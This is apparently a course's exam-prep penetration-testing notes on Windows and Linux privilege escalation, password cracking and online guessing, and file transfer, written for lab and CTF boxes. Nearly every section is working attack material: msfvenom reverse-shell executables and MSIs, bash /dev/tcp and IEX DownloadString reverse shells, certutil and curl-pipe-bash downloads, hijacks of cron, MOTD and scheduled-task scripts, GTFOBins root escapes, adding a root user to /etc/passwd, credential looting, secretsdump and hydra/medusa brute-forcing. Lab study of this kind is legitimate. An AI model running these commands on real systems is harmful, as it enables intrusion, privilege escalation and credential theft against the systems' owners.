C:\Windows\Temp\f.txt"
type C:\Windows\Temp\f.txt
```

Alternatives (same idea — SeImpersonate → SYSTEM):

```
.\PrintSpoofer64.exe -c "cmd.exe /c whoami"      # PrintSpoofer: -i interactive, -c command
.\GodPotato-NET4.exe -cmd "cmd /c whoami"        # GodPotato (needs .NET; -cmd)
# Full reverse shell as SYSTEM instead of a one-off command (Kali: nc -lvnp 5555):
.\SigmaPotato.exe "cmd.exe /c C:\Windows\Temp\rev.exe"      # rev.exe = msfvenom
shell_reverse_tcp 5555
```

> **If `whoami /priv` in your shell does NOT show SeImpersonate** but you got in via a service account, the privilege may only appear in a **different execution context** (see §2) — the interactive token is stripped but the *service/scheduled-task* token has it. That's the whole Tut9 twist.

---

2. ⭐ Scheduled-task / service context exposes the privilege (Tut9 Caldera full chain)

The Tut9 hard flag's real lesson: **your interactive WinRM token lacked SeImpersonate, but the existing scheduled task's token had it.** You don't escalate from your shell — you **hijack a script an existing privileged/service task already runs**, and let *that* context run the potato.

The pattern (CALDERA\svc_relay):

```
# a. Find scheduled tasks and how they run
schtasks /query /tn "Caldera Relay Sync" /v /fo list
#    -> runs: powershell -ExecutionPolicy Bypass -File C:\ProgramData\CalderaOps\relay-sync.ps1
#    -> as:   CALDERA\svc_relay , and REPEATS automatically

# b. Confirm YOU can write the script + a staging dir (icacls = the key check)
icacls C:\ProgramData\CalderaOps\relay-sync.ps1        # look for your user with (W)/(M)/(F)
icacls C:\ProgramData\CalderaOps\Staging

# c. Stage the potato in that writable dir
Invoke-WebRequest -Uri "http://$LHOST:8081/SigmaPotato.exe" -OutFile
"C:\ProgramData\CalderaOps\Staging\SigmaPotato.exe"

# d. OVERWRITE the script the task runs with your payload (task runs it on next repeat)
#    Easiest: host your own relay-sync.ps1 on Kali and pull it over the original:
Invoke-WebRequest -Uri "http://$LHOST:8081/relay-sync.ps1" -OutFile
"C:\ProgramData\CalderaOps\relay-sync.ps1"
#    Your relay-sync.ps1 body (runs in the TASK's token, which HAS SeImpersonate):
#        & "C:\ProgramData\CalderaOps\Staging\SigmaPotato.exe" `
#          "cmd.exe /c type C:\Users\Administrator\Desktop\hard_flag.txt >
```

```
C:\ProgramData\CalderaOps\Staging\flag.txt"

# e. Wait for the repeat, read the output
Start-Sleep -Seconds 75
type C:\ProgramData\CalderaOps\Staging\flag.txt
```

Generalise: **writable file that a privileged scheduled task / service runs on a timer** → drop your command in it → wait → profit. Enumerate with `schtasks /query /v /fo list`, then `icacls` each path the task touches. (Breadcrumbs in Tut9 came from an `ops-readme.txt` in the same folder as the intermediate flag — **always read every note/readme/.xml/.ps1 you can see; the box tells you the path.**)

Side-quest in that chain: DPAPI/SecureString credential recovered from files

svc_relay's password wasn't plaintext — it was a PowerShell `SecureString` blob (`relay.secret`) + key bytes (`relay.key.bak`). Reconstruct **offline on Kali** with the same logic the script used:

```
# recover-relay.ps1  (run with: pwsh ./recover-relay.ps1)
$Key  = Get-Content .\relay.key.bak | ForEach-Object { [byte]$_ }
$Blob = Get-Content .\relay.secret
$Sec  = $Blob | ConvertTo-SecureString -Key $Key
[System.Net.NetworkCredential]::new("", $Sec).Password
```

→ gives `svc_relay`'s password → `evil-winrm -i $RHOST -u svc_relay -p '<pass>'`. Lesson: **a script that decrypts a credential shows you how to decrypt it** — copy the inputs, replay it offline.

---

3. Writable service binary → replace & restart (Tut7/8 STARLIGHT)

A service whose **executable path is writable by you**, and which you can restart (or that auto-starts), runs your binary as the service account (often SYSTEM/LocalSystem).

```
sc query                                  # list services
sc qc <ServiceName>                       # shows BINARY_PATH_NAME + START_TYPE + account
icacls "C:\Path\To\service.exe"           # can you (W)/(M)/(F) write it?
accesschk.exe -uwcqv "Everyone" *         # (sysinternals) services writable by Everyone/your
group
```

Exploit:

```
# Build a reverse-shell exe on Kali (port 5555), serve + download, then overwrite:
#   (Kali) msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=5555 -f exe -o
service.exe
Invoke-WebRequest -Uri "http://$LHOST:8081/service.exe" -OutFile "C:\Path\To\service.exe"   #
overwrite
# (Kali) nc -lvnp 5555
sc stop <ServiceName> & sc start <ServiceName>        # or reboot / wait for auto-restart
```

Related: **unquoted service path** (`sc qc` shows a path with spaces and no quotes, e.g. `C:\Program Files\Star Light\svc.exe`) → drop `C:\Program.exe` or `C:\Program Files\Star.exe` if that dir is writable. And **weak service permissions** (`SERVICE_CHANGE_CONFIG`) → `sc config <svc> binpath= "C:\Windows\Temp\rev.exe"`.

---

4. AlwaysInstallElevated → MSI as SYSTEM (Tut7/8 CYCLES)

If both registry keys are `1`, any `.msi` installs as SYSTEM:

```
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

Both = `0x1` → build a malicious MSI on Kali and run it:

```
# (Kali) msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=6666 -f msi -o evil.msi
Invoke-WebRequest -Uri "http://$LHOST:8081/evil.msi" -OutFile "C:\Windows\Temp\evil.msi"
msiexec /quiet /qn /i C:\Windows\Temp\evil.msi        # (Kali) nc -lvnp 6666  -> SYSTEM
```

---

5. Auto-executed uploaded script / "task queue" folder (Tut7/8 CYCLES FTP)

Some boxes have a folder whose contents get **run on a schedule** (a "Task Queue", startup dir, or a watched FTP drop). If you can write there, drop a `.ps1` / `.bat` / `.exe` reverse shell and wait.

```
# e.g. anonymous FTP writable into C:\...\TaskQueue\  that a task executes every minute:
#   put a .bat:  @echo off & powershell -c "IEX(New-Object
Net.WebClient).DownloadString('http://LHOST:8081/rev.ps1')"
```

This overlaps §2 — the common thread is **you control a file a privileged process will execute.**

---

6. Quick enumeration helpers (run if §0 didn't hand you an obvious path)

```
whoami /priv & whoami /groups                          # (again — the main thing)
net user & net localgroup administrators               # accounts
cmdkey /list                                           # saved creds -> runas /savecred
reg query HKLM /f password /t REG_SZ /s                # creds in registry
dir /s /b C:\*flag*.txt 2>nul                          # just look for the flag files
type C:\Users\*\Desktop\*.txt                          # notes/creds on desktops
```

Automated (upload & run, read output): **winPEAS** (`winPEASx64.exe`), **PowerUp** (`powershell -ep bypass; . .\PowerUp.ps1; Invoke-AllChecks`). Great when stuck, but noisy/slow — on a time-boxed exam, **try `whoami /priv` + potato first**; only reach for winPEAS if no privilege/service jumps out.

---

7. Second worked example — Charlice-2026 (Tut10): chaining service → creds → potato

A full Windows kill-chain that **reinforces §1–§3** and adds three techniques worth memorising: **PowerShell-history creds**, **MSSQL `xp_cmdshell`**, and **`certutil` transfer**. The endgame is the *same* SeImpersonate→SigmaPotato→SYSTEM as Tut9 — proof that potato is THE exam Windows privesc.

```
easy  : smbclient -L //$RHOST -N  -> TeamDrop share, anon
        smbclient //$RHOST/TeamDrop -N  -> get easy_flag.txt + access-rotation.txt
        access-rotation.txt leaks user 'maris' + password pattern  Season+YYYY+!  (Q2 =>
Summer2026!)
inter : hydra -l maris -P <season-candidates.txt> rdp://$RHOST -t 1    # tiny, targeted list — be
gentle
        xfreerdp /u:maris /p:'Summer2026!' /v:$RHOST /cert:ignore
        type C:\Users\maris\Desktop\intermediate_flag.txt             # hard flag DENIED to maris
hard  : # a) find a service maris can tamper with
        Get-CimInstance Win32_Service | ? { $_.PathName -and $_.PathName -notlike 'C:\Windows\*'
}
```

```
        sc.exe qc HarborWatch
        icacls C:\ProgramData\CHARLICE\HarborWatch      # maris has (M) Modify; service runs as
.\buildsync
        # b) replace the service binary (§3) with a reverse shell (port 5555) via certutil
transfer
        #   (Kali) msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=5555 -f exe -o
watchdog.exe
        #   (Kali) python3 -m http.server 80 ; nc -lvnp 5555
        certutil.exe -urlcache -f http://$LHOST/watchdog.exe C:\Windows\Temp\watchdog.exe
        Copy-Item C:\Windows\Temp\watchdog.exe C:\ProgramData\CHARLICE\HarborWatch\watchdog.exe -
Force
        sc.exe start HarborWatch                        # -> shell as .\buildsync
        # c) loot buildsync's PowerShell history for creds (ALWAYS check this file)
        type
C:\Users\buildsync\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.tx
t
        #   -> MSSQL creds  ledger_sql / LedgerBridge!2026
        # d) MSSQL xp_cmdshell pivot -> command exec as the SQL service account
        sqsh -S $RHOST -U ledger_sql -P 'LedgerBridge!2026'
        #   1> EXEC xp_cmdshell 'whoami'            -> nt service\mssqlserver
        #   1> go
        #   (enable first if needed: EXEC sp_configure 'show advanced options',1; RECONFIGURE;
        #                            EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;)
        #   get a shell as the SQL account (port 6666) via xp_cmdshell + nc.exe / certutil
        # e) that SQL service account HAS SeImpersonate -> potato -> SYSTEM  (§1)
        whoami /priv                                    # SeImpersonatePrivilege = Enabled
        certutil -urlcache -f http://$LHOST/SigmaPotato.exe C:\Windows\Temp\SigmaPotato.exe
        C:\Windows\Temp\SigmaPotato.exe --revshell $LHOST 4444      # (Kali) nc -lvnp 4444  ->
SYSTEM
        type C:\Users\Administrator\Desktop\hard_flag.txt
```

New techniques to bank:

- `certutil.exe -urlcache -f http://$LHOST/file dest` — living-off-the-land download, no PowerShell needed (mirror of §1's `Invoke-WebRequest`; see `file-transfer.md`).
- **PowerShell history** `...\PSReadLine\ConsoleHost_history.txt` — per-user, full of typed creds. Read every user's copy you can reach. (Also `Get-History`, `.bash_history` on Linux.)
- **MSSQL** `xp_cmdshell` via `sqsh -S $RHOST -U <u> -P <p>` → `EXEC xp_cmdshell '<cmd>'; go`. The SQL service account (`nt service\mssqlserver`) almost always holds **SeImpersonate** → straight to §1.
- `SigmaPotato.exe --revshell $LHOST 4444` — one-shot SYSTEM reverse shell (vs. running a command).
- **Season/pattern passwords** (`Summer2026!`) — build a *tiny* candidate list, don't rockyou-spray RDP.

Decision flow (fast)

```
got a shell → whoami /priv
 ├─ SeImpersonate present (even disabled)........ upload SigmaPotato/PrintSpoofer → SYSTEM   (§1)
 ├─ not in your token, but a service/sched-task
 │   runs a file you can write.................. hijack that file; it runs potato in ITS token
(§2)
 ├─ writable service .exe / weak svc perms /
 │   unquoted path.............................. replace binary, restart service
```

```
(§3)
 ├─ AlwaysInstallElevated = 1..................... msfvenom .msi → msiexec → SYSTEM
(§4)
 ├─ writable auto-run/startup/queue folder....... drop reverse shell, wait
(§5)
 └─ none obvious................................. winPEAS/PowerUp, saved creds, notes, registry
(§6)
then: read C:\Users\Administrator\Desktop\*flag* (or wherever enum points)
```

Gotchas

- **SeImpersonate hides in service/scheduled-task tokens** — if your interactive shell lacks it but you came in as a `svc_*`/apppool account, look for a task/service you can influence (Tut9's whole point).
- `icacls <path>` is your write-access oracle — check it before assuming you can overwrite a script/binary.
- Potato binaries are version/OS-sensitive — carry **SigmaPotato + PrintSpoofer + GodPotato**; if one fails with a token error, try the next.
- Read **every readme/.xml/.ps1/.bak** near a flag — the exam boxes deliberately leave the next step's path and sometimes the decryption logic in plain sight. "The answer is often obvious."
- All payload listeners on **4444/5555/6666**. Keep the Kali `http.server` on a fixed port (8081) so the download one-liners are muscle memory.
- Cross-refs: foothold that got you here → `web-pentesting.md`; payload gen → `metasploit.md`; credential cracking → `password-attacks.md`; file transfer onto target → `file-transfer.md`.

Linux Privilege Escalation — low-priv shell → root

Source: Tut10 (**Sarathos** box — world-writable root cron, the hero chain) + Tut9 (**Marcadia** — SSTI→loopback SSH→sudo pager), Tut6 (**Quodrona** — writable MOTD), Tut5 (**Presidential**/DomDom — `tar` capability), plus STRATUS (kernel char-device) and ARDOLIS (sudo interpreter). You arrive here **after** you have a non-root shell on a Linux target (web RCE, SSH creds, reverse shell). Goal: **root** → read `/root/*flag*`. Placeholders: `$RHOST` = target, `$LHOST` = Kali.

⚠️ Exam framing

- Easy/intermediate Linux flags = read a file (API artefact, user home). **Hard = a privesc step.**
- Reverse shells on **4444 / 5555 / 6666** only. Save the **one MSF use** for a foothold, not privesc.
- Linux privesc here is **all manual** (sudo / SUID / capabilities / cron / writable file) → bonus marks.
- **"The answer is often obvious."** The box leaves the path in `sudo -l`, a world-writable script, a cron entry, or a note. Enumerate the cheap wins first before reaching for kernel exploits.

---

0. THE ENUMERATION BURST (run these first, every Linux shell)

```
id; whoami; hostname                        # who am i, what groups (sudo? docker? lxd? adm?)
sudo -l                                      # <-- #1 win: what can I run as root (NOPASSWD?)
find / -perm -4000 -type f 2>/dev/null       # SUID binaries (GTFOBins candidates)
getcap -r / 2>/dev/null                      # file capabilities (cap_setuid = instant root)
cat /etc/crontab; ls -la /etc/cron.*         # scheduled jobs (writable script run by root?)
ls -la /etc/passwd /etc/shadow               # writable passwd/shadow?
uname -a; cat /etc/os-release                # kernel/distro (kernel-exploit last resort)
```

Upgrade a dumb reverse shell to a PTY first (so `sudo`, `ssh`, editors work):

```
python3 -c 'import pty;pty.spawn("/bin/bash")'   # then: Ctrl-Z; stty raw -echo; fg; export
TERM=xterm
```

Automated (upload & run when stuck): **linpeas.sh**, **pspy** (watch cron/processes without root):

```
# Kali: python3 -m http.server 8081   (serving linpeas.sh / pspy64)
curl -s http://$LHOST:8081/linpeas.sh | bash          # or wget -qO- ... | bash
curl -s http://$LHOST:8081/pspy64 -o /tmp/pspy && chmod +x /tmp/pspy && /tmp/pspy   # see cron
fire live
```

---

1. ⭐ Writable file run by root cron / service (THE Tut10 Sarathos hard-flag technique)

A script that **root executes on a schedule** but that **you can write** = root. The #1 CTF Linux privesc.

```
# a. Find it
cat /etc/crontab; ls -la /etc/cron.d/; grep -r . /etc/cron.d/ 2>/dev/null
ls -la /srv/syncridge/opsjobs/daily_sync.sh        # <-- the Sarathos script, mode 777, run by
root/min
# (or watch live:  /tmp/pspy64  -> shows root running the script every minute)

# b. Confirm it's writable (world-writable = -rwxrwxrwx / mode 777, or group you're in)
```

```
ls -la <script>

# c. Overwrite the body so root does your bidding on the next run
cat <<'EOF' >/srv/syncridge/opsjobs/daily_sync.sh
#!/usr/bin/env bash
cat /root/Flag_Hard.txt >/tmp/f.txt       # copy the root flag somewhere readable
chmod 644 /tmp/f.txt
EOF
chmod 777 /srv/syncridge/opsjobs/daily_sync.sh      # keep it executable/writable

# d. Wait for cron, read the loot
sleep 65
cat /tmp/f.txt
```

Stronger variants (instead of just copying the flag — get a root shell):

```
# make bash SUID-root:
echo 'cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash' >> <writable-root-script>
# ...then:  /tmp/rootbash -p   -> # (euid root)
# or a reverse shell as root:
echo 'bash -c "bash -i >& /dev/tcp/'"$LHOST"'/5555 0>&1"' >> <writable-root-script>   # Kali: nc
-lvnp 5555
# or add a root user to /etc/passwd if THAT's writable:
echo 'r00t:$(openssl passwd -1 pass):0:0::/root:/bin/bash' >> /etc/passwd && su r00t
```

Generalise: **any file a privileged process reads/executes and you can write** — cron scripts, systemd unit `ExecStart` paths, a watched directory, `/etc/update-motd.d/*` (see §4). `ls -la` is the oracle; `pspy` reveals jobs you can't see in crontab.

---

2. sudo -l → root (NOPASSWD misconfig — Tut9 Marcadia + ARDOLIS)

`sudo -l` lists what you may run as root. **Any** entry is usually abusable — check **GTFOBins** (`gtfobins.github.io`, allowed offline/online in exam) for the "Sudo" section of that binary.

```
sudo -l
# e.g.  (ALL) NOPASSWD: /usr/bin/more /etc/services       <-- Marcadia (Tut9): pager shell escape
sudo /usr/bin/more /etc/services
#   then inside the pager:  !/bin/sh      -> root shell
# e.g.  (ALL) NOPASSWD: /usr/bin/php                      <-- ARDOLIS: interpreter -> system()
sudo /usr/bin/php -r 'system("/bin/bash");'               # root shell
```

Classic GTFOBins sudo escapes (memorise the common ones):

```
sudo less /etc/profile        # then  !/bin/sh
sudo more /etc/services       # then  !/bin/sh   (needs a file bigger than the screen)
sudo vim -c ':!/bin/sh'       # or :set shell=/bin/sh then :shell
sudo find . -exec /bin/sh \; -quit
sudo awk 'BEGIN{system("/bin/sh")}'
sudo python3 -c 'import os;os.system("/bin/sh")'
sudo perl -e 'exec "/bin/sh";'
sudo nmap --interactive       # (old) then !sh    | or --script=$'...os.execute...'
```

```
sudo env /bin/sh                # sudo tar/cp/... -> see GTFOBins
# LD_PRELOAD/LD_LIBRARY_PATH if "env_keep" set:  sudo LD_PRELOAD=/tmp/x.so <allowed-cmd>
```

Pager rule (more/less/man/pager): a pager only drops to `!sh` when it's actually paging (content taller than the terminal) — shrink the window or pick a long file.

---

3. SUID binaries & capabilities → root (Presidential/DomDom `tar`)

```
find / -perm -4000 -type f 2>/dev/null        # SUID set-root binaries -> GTFOBins "SUID" section
getcap -r / 2>/dev/null                        # capabilities
```

Capabilities (Tut5 Presidential, DomDom): a binary with `cap_setuid+ep` can set uid 0.

```
# tar has cap_setuid (or is SUID) -> archive root's SSH key, extract, log in as root:
cd /tmp; tar -cvf k.tar /root/.ssh/id_rsa; tar -xvf k.tar
cat root/.ssh/id_rsa            # copy to Kali, chmod 600, ssh -i id_rsa root@$RHOST
# python with cap_setuid:
./python -c 'import os;os.setuid(0);os.system("/bin/sh")'
# perl / ruby / node with cap_setuid+ep -> same os.setuid(0) trick (see GTFOBins "Capabilities")
```

SUID GTFOBins (binary is `-rwsr-xr-x root`): `find . -exec /bin/sh -p \; -quit`, `bash -p`, `cp` / `nano` / `vim` / `env` / `python` → check GTFOBins. `-p` preserves euid-root.

---

4. Writable login-time / MOTD script (Tut6 Quodrona)

`/etc/update-motd.d/*` runs **as root on every SSH login**. If one is group/world-writable and you can trigger a fresh login as a user that actually runs MOTD (no `~/.hushlogin`):

```
cp /etc/update-motd.d/00-header /tmp/00-header.bak
printf '%s\n' "bash -c 'bash -i >& /dev/tcp/$LHOST/4444 0>&1'" >> /etc/update-motd.d/00-header
# Kali: nc -lvnp 4444 ; then force a fresh login (as a non-hushlogin user) to run it as root:
ssh -o StrictHostKeyChecking=accept-new <user>@$RHOST true
```

(Full worked chain — HTML-comment username → medusa SSH crack → password reuse → writable MOTD — is in `password-attacks.md`.) Same family: writable `~/.bashrc` / `profile.d` run by a higher-priv user.

---

5. Kernel / char-device exploit (STRATUS KernelGate — last resort)

When nothing above works and the kernel is old/custom, a kernel bug may let you write to a privileged char device and call `commit_creds(prepare_kernel_cred(0))` to get root (STRATUS KernelGate pattern).

```
uname -r; cat /etc/os-release                  # match kernel version
searchsploit linux kernel <version>            # e.g. DirtyPipe (5.8-5.16), DirtyCow (<4.8),
pwnkit
# Known easy wins to try by version:
#   PwnKit / CVE-2021-4034 (polkit pkexec) - nearly universal 2021-era: compile & run exploit
#   DirtyPipe / CVE-2022-0847 (kernel 5.8-5.16.11)
#   Sudo Baron Samedit / CVE-2021-3156 (sudo < 1.9.5p2):  sudoedit -s '\' $(perl ...)
```

Kernel/char-device exploits can **panic the box** — on a time-boxed exam, try §0–§4 first; only compile a kernel exploit if enumeration gives nothing and the version clearly matches a known PoC.

---

6. Other quick wins

```
# Creds lying around (the box reuses them):
grep -riE 'password|passwd|secret|api[_-]?key' /var/www /home /opt /etc 2>/dev/null
cat ~/.bash_history; cat /home/*/.bash_history 2>/dev/null     # commands incl. passwords
find / -name '*.bak' -o -name '*.config' -o -name 'id_rsa' 2>/dev/null
# Password reuse: any cred you found -> su - <user> / ssh, and sudo -l again as them.
# Group powers: 'docker' group -> docker run -v /:/mnt --rm -it alpine chroot /mnt sh  (root)
#               'lxd' group -> mount host fs in a privileged container; 'disk' -> debugfs
/dev/sda
# Internal-only service? netstat/ss shows loopback ports (Tut9 Marcadia: 127.0.0.1 SSH):
ss -tlnp; netstat -pant 2>/dev/null                            # pivot to a loopback service
```

Tut9 Marcadia full hard chain (for cross-reference): SSTI RCE as `fieldssti` → `netstat -pant` reveals **loopback-only SSH** (127.0.0.1:34730) whose pre-auth banner leaks on-call creds (`kelven` / `OnCall-Temp24`) → `ssh -p 34730 kelven@127.0.0.1` → `sudo -l` shows NOPASSWD `/usr/bin/more` → pager escape → root. (Foothold SSTI details in `web-pentesting.md`.)

Decision flow (fast)

```
got a shell → id; sudo -l; SUID; getcap; crontab   (§0 burst)
  ├─ sudo -l has ANY NOPASSWD entry.......... GTFOBins that binary -> root            (§2)
  ├─ writable script run by root cron/service. overwrite body (SUID bash / revshell)   (§1)
  ├─ getcap shows cap_setuid / juicy SUID..... GTFOBins SUID/capability trick          (§3)
  ├─ writable /etc/update-motd.d or profile... inject revshell, trigger login          (§4)
  ├─ creds in history/config/world-read files. su/ssh as that user, re-run sudo -l     (§6)
  ├─ in docker/lxd/disk group................. container/device escape                  (§6)
  └─ none + old kernel........................ searchsploit kernel / pwnkit / dirtypipe (§5)
then: cat /root/*flag*  (or wherever the loot points)
```

Gotchas

- `sudo -l` and a writable cron script solve most exam Linux boxes — check them before anything fancy.
- **GTFOBins** is your lookup for every SUID/sudo/capability binary — keep it bookmarked (works offline if you clone it; allowed in exam as non-GenAI).
- Upgrade to a PTY early, or `sudo` / `ssh` /pagers misbehave.
- `pspy` reveals root cron jobs you can't read in `/etc/crontab` — great when "nothing runs as root"… but something does.
- Password reuse is deliberate on these boxes — try every cred against every user and `sudo -l` again.
- Reverse shells back to Kali on **4444/5555/6666** only.
- Cross-refs: foothold (SSTI/web RCE/SSH creds) → `web-pentesting.md` + `password-attacks.md`; file transfer onto target → `file-transfer.md`; the Windows side → `windows-privesc.md`.

Password Attacks — cracking hashes & online guessing

Source: Lec/Tut 6 (Quodrona box + a hash-ID/cracking exercise). Two halves: **offline** (crack a hash you already have) and **online** (guess a login against a live service). Placeholders: `$RHOST` = target, `$LHOST` = Kali.

⚠️ EXAM RULES THAT SHAPE EVERYTHING HERE

- **Passwords are in the top ~250 of `rockyou.txt`, or not crackable at all.** If a crack/guess runs more than **a few minutes**, STOP and pivot — the password isn't the path.
- **Be gentle.** Loud online brute-force (big `-t`, full rockyou against many users) can get your IP **blacklisted**. Prefer *offline* cracking; when you must guess online, go **slow, one known user, top-N list**.
- **The internet is allowed** (non-GenAI). **CrackStation / hashes.com** crack common hashes instantly — try them FIRST for any loose hash before firing up hashcat.
- Build a **top-250 wordlist** on Kali so guessing is fast & quiet (see `toolkit/` plan): `head -n 250 /usr/share/wordlists/rockyou.txt > rockyou-top250.txt`

A. OFFLINE — you have a hash, recover the password

1. Identify the hash first (length → type)

```
hashid '5f4dcc3b5aa765d61d8327deb882cf99'      # suggests type(s)
hash-identifier                                 # interactive alternative
```

Hex length	Bits	Likely type	hashcat `-m`	john `--format`
32	128	**MD5**	0	raw-md5
32	128	**NTLM** (Windows)	1000	nt
32	—	**LM** (old Windows)	3000	lm
40	160	**SHA-1**	100	raw-sha1
56	224	SHA-224	1300	raw-sha224
64	256	**SHA-256**	1400	raw-sha256
96	384	SHA-384	10800	raw-sha384
128	512	**SHA-512**	1700	raw-sha512

> 32-hex is ambiguous: MD5 **or** NTLM **or** LM. On a Windows box a 32-hex from SAM/secretsdump is **NTLM** (`-m 1000`). `aad3b435b51404eeaad3b435b51404ee` = the **empty LM** hash (means "no LM set").

2. Crack it — easiest route first

```
# (0) Online (fastest for common hashes — allowed in exam): paste into
#     https://crackstation.net/   or   https://hashes.com/en/decrypt/hash

# (1) hashcat (GPU; -a 0 = dictionary attack)
echo '5f4dcc3b5aa765d61d8327deb882cf99' > hash.txt
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
hashcat -m 0 hash.txt rockyou.txt --show        # redisplay cracked (or use --potfile)

# (2) John the Ripper (CPU; autodetects, or force --format)
echo '5f4dcc3b5aa765d61d8327deb882cf99' > hashes.txt
```

```
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --format=raw-md5 --wordlist=rockyou.txt hashes.txt   # force type if autodetect wrong
john --show hashes.txt                            # view cracked
john --show --format=raw-sha1 hashes.txt
```

Tut6 crack answers (sanity check your setup): MD5 `password` / `abc123` / `12345678` / `1234`; SHA-1 `password` / `admin` / `Password123` / `password1`; NTLM `8846f7ea...` = `password`.

3. Hashes from the Windows target (where you'll meet them)

```
# after admin foothold: dump SAM/NTDS hashes, then crack or pass-the-hash
impacket-secretsdump Administrator:Password@$RHOST          # dumps NTLM hashes
(user:rid:lm:nt:::)
hashcat -m 1000 ntlm.txt rockyou.txt                        # crack the NT hash
# OR skip cracking - pass the hash (see metasploit.md): evil-winrm -H <NThash>, impacket-psexec -
hashes
```

Cracking John/hashcat: `.john/john.pot` and hashcat potfile store cracks — `--show` reads them back. Shadow files: `unshadow /etc/passwd /etc/shadow > un.txt; john un.txt` (Linux privesc loot).

B. ONLINE — guess a login against a live service (be gentle!)

Only after enumeration gives you a **username** (web source comment, SMB/RPC enum, FTP, leaked file). Guess ONE known user, not a spray. Course tools: **hydra** and **medusa**.

```
# medusa (Tut6's tool) - one user, rockyou, SSH:
medusa -h $RHOST -u merrick -P /usr/share/wordlists/rockyou.txt -M ssh -t 4
#   EXAM: use rockyou-top250.txt and a LOW -t (2-4) to stay quiet. -t is parallel logins.

# hydra equivalents (know both):
hydra -l merrick -P rockyou-top250.txt ssh://$RHOST -t 4          # SSH
hydra -l admin  -P rockyou-top250.txt $RHOST http-post-form \
  "/login.php:user=^USER^&pass=^PASS^:F=incorrect" -t 4          # web login form
hydra -L users.txt -P rockyou-top250.txt ftp://$RHOST -t 4       # FTP
hydra -l admin -P rockyou-top250.txt rdp://$RHOST -t 1           # RDP (go slow!)
```

Service modules you may need: `ssh`, `ftp`, `smb`, `rdp`, `http-get`, `http-post-form`, `http-head`. **Lockout risk:** too many tries can lock the account or blacklist you. If top-250 doesn't hit in a couple minutes, the password isn't guessable — pivot to another vector.

Default / reused creds — try these for free (no wordlist)

Before any brute-force, just *try* obvious ones: `admin/admin`, `admin/password`, `root/root`, `admin/Admin123!`, service default creds (Google " default credentials"), and any password you already cracked (people **reuse** — Tut6 reused `rockyou` weakness across two SSH accounts). Anonymous FTP: user `anonymous`, pass `anonymous` (or blank).

Worked example — Quodrona box (Tut6): the full easy→hard chain

1. `nmap -sV -Pn -A -p- $RHOST` → FTP 21, SSH 22, HTTP 80, **web app on 28553**.
2. **Easy:** open `http://$RHOST:28553/`, `Ctrl+U` view source → HTML comment leaks username `merrick`. Then anonymous FTP: `ftp -n $RHOST` → `user anonymous anonymous` → `cd public` → `get Flag_Easy.txt` (+ `.bash_history`, which mentions `/etc/update-motd.d/00-header`). ⇒ easy flag.

3. **Intermediate:** known user + SSH open ⇒ targeted dictionary attack: `medusa -h $RHOST -u merrick -P rockyou.txt -M ssh -t 4` → password **`redwings`**. `ssh merrick@$RHOST` → `cat ~/Flag_Intermediate.txt`. `sudo -l` = no easy root.
4. **Hard (writable MOTD privesc):** follow the `.bash_history` clue. `00-header` is `root:quodrona_motd` mode **775** (group-writable) but `merrick` isn't in `quodrona_motd` and has `~/.hushlogin` (suppresses MOTD). Enumerate other shells: `cat /etc/passwd | grep -E '/bin/bash|/bin/sh'` → user **`lineftp`**. Crack it the same way: `medusa -u lineftp -M ssh` → **`sparky`**. `lineftp` IS in `quodrona_motd`, no `.hushlogin`. Append a reverse shell to the MOTD helper, then trigger a fresh login:

   ```
   cp /etc/update-motd.d/00-header /tmp/00-header.bak
   printf '%s\n' "bash -c 'bash -i >& /dev/tcp/$LHOST/4444 0>&1'" >> /etc/update-motd.d/00-header
   # Kali:  nc -lvnp 4444
   ssh -o StrictHostKeyChecking=accept-new lineftp@$RHOST true   # fresh login runs MOTD as root
   ```

   → **root shell** → `cat /root/Flag_Hard.txt`.

Lesson: **info disclosure (HTML comment / FTP) → known username → targeted dictionary crack → password reuse → group-writable login-time script (MOTD) → root.** Every step was *justified by a prior finding* — don't guess blindly, chain the evidence. (MOTD/`update-motd.d` group-write is a Linux privesc pattern worth remembering for `linux-privesc.md`.)

Gotchas

- Try **online crackers + default creds + already-known passwords FIRST** — they cost seconds.
- 32-hex on a Windows target is **NTLM**, not MD5 — pick the right hashcat mode (`-m 1000`).
- **Pass-the-hash beats cracking** when you already hold an NTLM hash (see `metasploit.md`).
- Keep online guessing **slow and single-user** — lockout/blacklist ends the exam. Top-250 or bust.
- Save cracked creds in your loot notes — the course deliberately **reuses** them across accounts.

File Transfer — Kali ↔ Windows target

Source: Lec/Tut 1. These are the exact methods the course teaches. Target is Windows, so the important direction is **Kali → Windows** (deliver tools like `winPEAS.exe`, `nc.exe`) and **Windows → Kali** (exfil flags / loot).

Placeholders: `$LHOST` = Kali IP (`ip a`), `$RHOST` = target IP.

Kali → Windows

1. Python HTTP server (course default, port 80)

Kali (serve the dir containing the file):

```
cd /var/www        # or any dir holding your tools
python3 -m http.server 80
```

Windows download — pick one:

```
# WebClient (works on old + new PowerShell)
$u="http://$LHOST/winPEASx64.exe"; (New-Object
System.Net.WebClient).DownloadFile($u,"C:\Temp\winPEAS.exe")

# Invoke-WebRequest / iwr
iwr -Uri http://$LHOST/winPEAS.exe -OutFile C:\Temp\winPEAS.exe

# wget alias (PowerShell)
powershell wget http://$LHOST/winPEAS.exe -OutFile winPEAS.exe

# one-liner from cmd.exe
powershell.exe -command "iwr -Uri http://$LHOST/winPEAS.exe -OutFile C:\Temp\winPEAS.exe"
```

If script execution is blocked: `powershell.exe -ExecutionPolicy Bypass` (or `Set-ExecutionPolicy Unrestricted` as admin).

2. PHP built-in server (port 8080) — fallback if 80 is busy

```
cd /var/www && php -S 0.0.0.0:8080
```

```
$u="http://$LHOST:8080/file.exe"; (New-Object
System.Net.WebClient).DownloadFile($u,"C:\Temp\file.exe")
```

3. SMB server (great for Windows — often cleaner than HTTP)

```
impacket-smbserver share $(pwd) -smb2support          # or: impacket-smbserver share . -
smb2support -user u -password p
```

```
copy \\$LHOST\share\winPEAS.exe C:\Temp\            # from cmd/powershell
